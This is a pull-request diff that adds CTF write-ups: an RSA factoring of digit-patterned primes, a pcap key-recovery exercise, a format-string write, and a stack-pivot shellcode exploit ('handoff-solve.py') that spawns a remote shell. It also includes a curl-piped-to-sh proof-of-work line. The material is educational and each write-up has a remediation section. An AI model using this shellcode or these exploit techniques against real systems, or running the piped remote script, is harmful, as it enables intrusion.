Skip to content
Open
36 changes: 36 additions & 0 deletions lactf-2026/crypto/six-seven/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
## Context

<p align="center">
<img src="images/67.gif" width="400">
</p>

The challenge instance first asks for a Proof of Work to make spamming the server with a bot more computationally expensive. An example of a Proof of Work is below:
curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.Z5r08nzVnvLrMznfnkqH2A==
Once you solve this, you are given 2 numbers for the values of n and c and the instance is closed.
The hint given in the challenge is that, first, it is in the cryptography category and that it uses RSA encryption. Second, as the challenge name suggests, the primes for the RSA encryption follow the pattern `[67]*`.

The challenge also provides the source code `chall.py` which gives an insight as to how the primes are generated and that they are of length 256 digits, and that e = 65537.

## Vulnerability

Normally, RSA is quite hard to solve. In its typical implementation, the primes, p and q, are roughly 1024 bits each. p x q creates n, the modulus. The original text's ascii numbers are used to numerically convert the text into a number, m. e, which is typically 65537, is used then to create the ciphertext,c, with `c=m^e (mod n)`. e and d are modular inverses, so having d would allow us to recover the original message, m.
In traditional, secure RSA, this is nearly impossible to do, as finding d requires the prime factors of n, which should be unfeasible due to how large n is.
[This article](https://www.geeksforgeeks.org/computer-networks/rsa-algorithm-cryptography/) goes more in depth into how RSA works.

However, given the fact that we are given the hint of how the primes are generated, the search space of 256-digit primes goes from `10^256` to `2^256`, which makes the primes easier to determine, which ultimately breaks the underlying mechanism of the security behind RSA.

## Exploitation

The file `solve67.py` contains the python script written to solve the challenge. We realize we don't even need to iterate through the entire `2^256` large search space of potential primes, but rather go digit by digit.
It begins with the realization that a prime number must be odd and is comprised of 6s and 7s only. Thus, the final digit of each prime must be 7, which aligns with the fact that every n generated ended in 9. Given the limited search space, we can actually go digit by digit, from left to right.
Thus, we start with the two numbers 7,7 as our primes and continue to build them going right to left with a loop. In the loop, we look at the last i + 1 digits each time, and add 6 or 7 to the front of the thus-far-valid p and qs. We then try multiplying the new test p and test q, to see if it matches the last i+1 digits. If so, we keep it as a pair for the next part of the loop.
Thus, we build out the primes p and q. We multiply them a final time to ensure their product is n. We also ensure that once we have built out the entire numbers p and q that they are, indeed, primes. We use the primes to calculate the totient, phi, which we then use to calculate d, using its relationship as a modular inverse of relative to phi. We then use d to decrypt the cyphertext, as `m = c^d (mod n)`. Finally, we convert it to bytes and decode it to find the flag.
<p align="center">
<img src="images/67flag.png" width="600">
</p>

## Remediation

The most immediate remediation technique would be not to use a pattern to generate primes like `[67]*`, and especially do not make said pattern publically known, as this allowed us to iterate through a small, finite range of primes to determine p and q.

Instead, RSA primes should be generated by using CSPRNs, Cryptographically Secure Pseudo-Random Number Generators; primes should be picked from the entire available bit-space rather than a restricted set of digits.
28 changes: 28 additions & 0 deletions lactf-2026/crypto/six-seven/chall.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
#!/usr/local/bin/python3

import secrets
from Crypto.Util.number import isPrime, bytes_to_long


def generate_67_prime(length: int) -> int:
while True:
digits = [secrets.choice("67") for _ in range(length - 1)]
digits.append("7")

test = int("".join(digits))
if isPrime(test, false_positive_prob=1e-12):
return test


p = generate_67_prime(256)
q = generate_67_prime(256)
n = p * q
e = 65537

FLAG = open("flag.txt", "rb").read()
m = bytes_to_long(FLAG)

c = pow(m, e, n)

print(f"n={n}")
print(f"c={c}")
Binary file added lactf-2026/crypto/six-seven/images/67.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added lactf-2026/crypto/six-seven/images/67flag.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
53 changes: 53 additions & 0 deletions lactf-2026/crypto/six-seven/solve67.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
import binascii
from Crypto.Util.number import long_to_bytes
n = 51892897382689572842045070488499783740392464715010639950375414286706759299308737295424729548173258420526568084233544152881325883921776347584183757378688012355765839129549376012208807986255091230676757766254877610974534480806555973484514403710999836102861504718137481576183741889014334248115047806422088665887428610011866916433120265855438477650498984637501192689177967178938635808317718949879261889904926622523146368344817633320077148643333708434915134803046778600470616771269269365439488394491912502144709567029
c = 1128402571314301061197849469387298504411323616860706421398106925690130683396872054810885667844296506565322624205383437420753898248505207364020589572861235048768359548847646177553236617086713073617581990180333904518292952884888429535941258911403810143897897755482177112455671062917783205785395824752114938745320779852361984762039955943080713658881042310566624436487283978991174571463483800989409730533398126074765149708718551981800818873408968765936833756167679088163178302040718335158827510217324640711602186405
e = 65537

def solve():
# p and q end in 7
candidates = [(7, 7)]

# We need to find 256 digits
for i in range(1, 256):
new_candidates = []
mod = 10**(i + 1)
target = n % mod

for p_val, q_val in candidates:
# Test all combinations of next digits
for p_digit in [6, 7]:
for q_digit in [6, 7]:
p_next = p_digit * (10**i) + p_val
q_next = q_digit * (10**i) + q_val

if (p_next * q_next) % mod == target:
new_candidates.append((p_next, q_next))
candidates = new_candidates
# Optimization: If we have multiple branches, just keep going.
# Usually, only 1 or 2 branches survive.

return candidates

all_pairs = solve()
print(f"[+] Found {len(all_pairs)} potential candidate pairs.")

for i, (p_test, q_test) in enumerate(all_pairs):
# Verification 1: Do they multiply to n?
if p_test * q_test == n:
print(f"[!] Verification successful for pair {i}!")

# Verification 2: Are they prime? (Optional but good)
# from Crypto.Util.number import isPrime
# if not isPrime(p_test): continue

phi = (p_test - 1) * (q_test - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

decrypted_bytes = long_to_bytes(m)
if b"lactf{" in decrypted_bytes:
print(f"SUCCESS! Flag: {decrypted_bytes.decode()}")
break
else:
print(f"Pair {i} multiplied correctly but resulted in garbage. Still searching...")
28 changes: 28 additions & 0 deletions picoctf/forensics/eavesdrop/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
## Context

Eavesdrop is a picoctf forensics challenge centered around a vulnerable key exchange, where two parties discuss the encryption key for a file transfer over an unencrypted channel. The challenge provides us with a packet capture file, without much else to go off of.

## Vulnerability

The first vulnerability lies in the fact that we are able to see the clear-text communication that occurs between the two parties. Despite the fact that they correctly encrypt the sensitive file with 3DES, they share the decryption command and password, in plaintext, over an unencrypted TCP channel.
So if an attacker conducts a successful MITM on a network, like through ARP spoofing, they end up with a pcap of all the traffic, and any secrets transmitted in cleartext are theirs.

## Exploitation

First we open the pcap in Wireshark, and click to follow one of the TCP streams. Stream 0 holds an interesting conversation between two parties, which gives the instructions to decrypt a file as
```
openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123
```
They also mention that the file will be transferred over port 9002. Thus, we follow the TCP stream over port 9002 and find a string of bytes there.
So now we have the password (`supersecretpassword123`) and the exact command we need to run. They also mention sending the encrypted file over port 9002. Filtering on `tcp.port == 9002` and following that TCP stream shows a payload that starts with `Salted__`, which is the magic number openssl prepends to files encrypted with the `-salt` flag. This is the ciphertext we need to decrypt. In the "Follow TCP Stream" window, the "Show data as" dropdown has to be set to **Raw**. Then, we save it as `file.des3` and run the command from the chat:

```bash
openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123
```
This leaves an unencrypted `file.txt`, which reveals the flag.

## Remediation

The most immediate fix is to never discuss encryption keys or passwords over an unencrypted channel. They even jokingly reference this in an exchange in the pcap file, right after sharing the password. Sharing the key through a separate trusted channel is one option, but the real fix is using protocols that handle key exchange securely by design.

Most importantly, the chat channel itself should have been encrypted with TLS, which would have prevented an eavesdropper from reading either the chat or the file transfer in the first place. TLS solves the key exchange problem with asymmetric cryptography, establishing a shared secret without ever transmitting the key directly. On top of that, 3DES was deprecated and disallowed for encryption after 2023 as it was deemed insecure and vulnerable to certain attacks, so a more modern cipher alternative should be used.
24 changes: 24 additions & 0 deletions picoctf/rev/format-string-2/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
## Context

Format String 2 is a binary exploitation challenge centered around a format string vulnerability. The challenge provide us with the source code, the binary, and allows us to connect to the challenge server. It also give us the following description: "This program is not impressed by cheap parlor tricks like reading arbitrary data off the stack. To impress this program you must change data on the stack!"

## Vulnerability

The vulnerability is `printf(buf)` on line 14, where user input is passed directly as the format string instead of `printf("%s", buf)`. Any format specifiers a user includes in their input is interpreted by `printf`, giving us a write primitive over memory.
The goal is to overwrite the global variable `sus` with `0x67616c66`, which the source code shows us will trigger the release of the flag. Since there is no PIE, `sus` has a fixed address we can grab straight from the binary.

## Exploitation

First we find the format string offset, which tells us which argument number our input is. We find the offset by sending a chain of `%p`s to read from the stack, and then we and look at where the input appears in the output. After some trial and error, we determine this offset to be 14.
Then, we grab the address of `sus`:

```bash
objdump -t ./format-string-2 | grep sus
# 0x404060
```

Then we construct the write. `%n` writes the number of bytes printed so far into a memory address, so to write `0x67616c66`, or 1735943526 in base 10, we would need to print over a billion characters before hitting `%n`, which far exceeds the input limit. Instead, `fmtstr_payload` from pwntools lets us split the write into individual byte writes, each one printing a smaller number of characters and writing a single byte at a time to successive addresses. For example, printing 0x66 to 0x404060, 0x6c to 0x404061, etc.This keeps the payload small enough to fit within the input limit while still achieving the full 4 byte value. The exploit script is in `payload.py`, and running it overwrites `sus`, and prints the flag!

## Remediation

Replace `printf(buf)` with `printf("%s", buf)`. User input should never be passed directly as a format string. Instead, treating it as a plain string eliminates the write primitive entirely.
41 changes: 41 additions & 0 deletions picoctf/rev/handoff/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
## Context

Handoff is a binary exploitation challenge centered around shellcode injection with an undersized overflow buffer, forcing us to use a stack pivot to reach a larger buffer elsewhere in memory. The challenge provides a binary and source code, and connecting to the instance gives us gives us the following interactive menu
`1. Add a new entry
2. Update an existing entry
3. Leave feedback and exit`.
Where the user can select an option and interact with the program as indicated over and over until they exit the program.

## Vulnerability

Looking at the source code, `handoff.c`, we can see that the key vulnerability is `fgets(feedback, NAME_LEN, stdin)` in the feedback option(3), where 32 bytes are read into an 8 byte buffer. This allows us to overflow past `feedback`, overwrite the saved RBP, and ultimately overwrite the return address, giving us control over where the program executes next. Running `checksec` shows us that the stack is executable, that there is no PIE, and there is no canary protecting the return address.


## Exploitation

We know that you want to put the payload into the overflow buffer, `feedback`. However, it is only 8 bytes, which is far too small to hold a full `execve("/bin/sh")` payload. So, we redirect execution into a larger buffer elsewhere. The source code shows us that entries are stored in an entries[] array of structs, which gives us 64 byte buffer per entry. So we can use the `feedback` overflow to redirect execution into `entries[1].msg`, which is large enough for the shellcode. However, we also notice in the source code that the program checks for `feedback[7] = '\0'` after the read, which corrupts byte 8 of our payload, so we have to pad with No Operations, or NOPs, so the corruption lands on a NOP rather than something important.

We build the payload in several parts, which can be seen found in `handoff-solve.py`.

**Step 1: find a `jmp rax` gadget.** When `vuln()` returns from `fgets()`, RAX is the register that holds return values of functions, so it holds the address of the `feedback` buffer, as that is what `fgets` returns. So if we redirect execution to a `jmp rax` instruction at the moment `ret` fires, we land at the start of `feedback`. We find one using ROPgadget:

`ROPgadget --binary ./handoff | grep "jmp rax"`
This gives us `0x000000000040116c`.

**Step 2: calculate the offset to the return address.** From running `objdump`, the disassembly shows us `lea -0xc(%rbp), %rax`, meaning `feedback` is located at `RBP - 12`. Combined with the 8 bytes of saved RBP, the offset from the start of `feedback` to the return address slot is 20 bytes.

**Step 3: calculate the stack pivot distance.** After `ret` fires and `jmp rax` executes, we're running instructions inside `feedback`. From there, we need to reach `entries[1].msg`, where our shellcode lives. We do this with a stack pivot: `sub rsp, 664` followed by `jmp rsp`. The stack grows downward on x86-64, so subtracting 664 from RSP (Stack Pointer, the register that tracks the top of the current stack frame) moves it down in memory to where `entries[1].msg` sits. Then `jmp rsp` transfers execution to that address. We do this instead of a hardcoded `jmp`; stack addresses are randomized on each run, but the distance between `entries[1].msg` and the return address stays constant. To find 664, we set a breakpoint in GDB on the `fgets` for entry 1's message and compute `return_address (RBP+8) - entries[1].msg address = 0x7ffcaa69b178 - 0x7ffcaa69aee0 = 0x298 = 664`. 664 encoded in little endian is `\x98\x02\x00\x00`, which we use for the `sub rsp` instruction.

**Step 4: build the feedback payload.** The 20 bytes from `feedback` to the return address get filled with the pivot bytes (`sub rsp, 664` then `jmp rsp`, 11 bytes total), padded out to 20 bytes with NOPs, followed by the `jmp rax` gadget address, overwriting the return address. The trailing NOPs also handle the `feedback[7] = '\0'` corruption: the null byte lands on a NOP and has no effect since NOPs do nothing.

**Step 5: place shellcode in `entries[1].msg`.** We need x86-64 shellcode that calls `execve("/bin/sh", NULL, NULL)` via `syscall`, which is the 64-bit equivalent of `int 0x80`. We prefix the shellcode with NOPs so that even if RSP lands slightly off after the pivot, execution still ends up at the real instructions.
![stack image](/stackimage.png)

The full flow when the exploit fires can be seen in the diagram above;`ret` jumps to `jmp rax`, which lands us in `feedback`, which runs the NOP sled and pivot to drop RSP by 664 bytes and `jmp rsp` into `entries[1].msg`, which runs the NOP sled into our shellcode and spawns a shell on the picoctf challenge server, giving us access to `flag.txt`!

## Remediation

The most immediate fix is ensuring the read is bounded to the actual buffer size, for example, `fgets(feedback, sizeof(feedback), stdin)` instead of using the larger `NAME_LEN` constant. This would eliminate the overflow entirely.

Beyond that, making the stack nonexecutable would reduce the number of primitives, as it would not have allowed us to have shellcode injection. Another security measure would be enabling PIE, which would randomize the addresses of gadgets like `jmp rax`, making it much harder to reliably use ROP gadgets to make a working exploit.

30 changes: 30 additions & 0 deletions picoctf/rev/handoff/handoff-solve.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
from pwn import *

context.arch = 'amd64'

p = remote('shape-facility.picoctf.net', 53774)

jmp_rax = p64(0x000000000040116c)

# x86-64 execve("/bin/sh") shellcode
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

# pivot: sub rsp, 664 then jmp rsp (hardcoded bytes)
pivot = b"\x90\x90\x48\x81\xec\x98\x02\x00\x00\xff\xe4"
payload = pivot.ljust(20, b"\x90")
payload += jmp_rax

p.sendlineafter(b'3. Exit the app\n', b'1')
p.sendlineafter(b'name: \n', b'A' * 8)

p.sendlineafter(b'3. Exit the app\n', b'1')
p.sendlineafter(b'name: \n', b'A' * 8)

p.sendlineafter(b'3. Exit the app\n', b'2')
p.sendlineafter(b'to?\n', b'1')
p.sendlineafter(b'them?\n', b'\x90' * 16 + shellcode)

p.sendlineafter(b'3. Exit the app\n', b'3')
p.sendlineafter(b'it: \n', payload)

p.interactive()
Binary file added picoctf/rev/handoff/stackimage.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading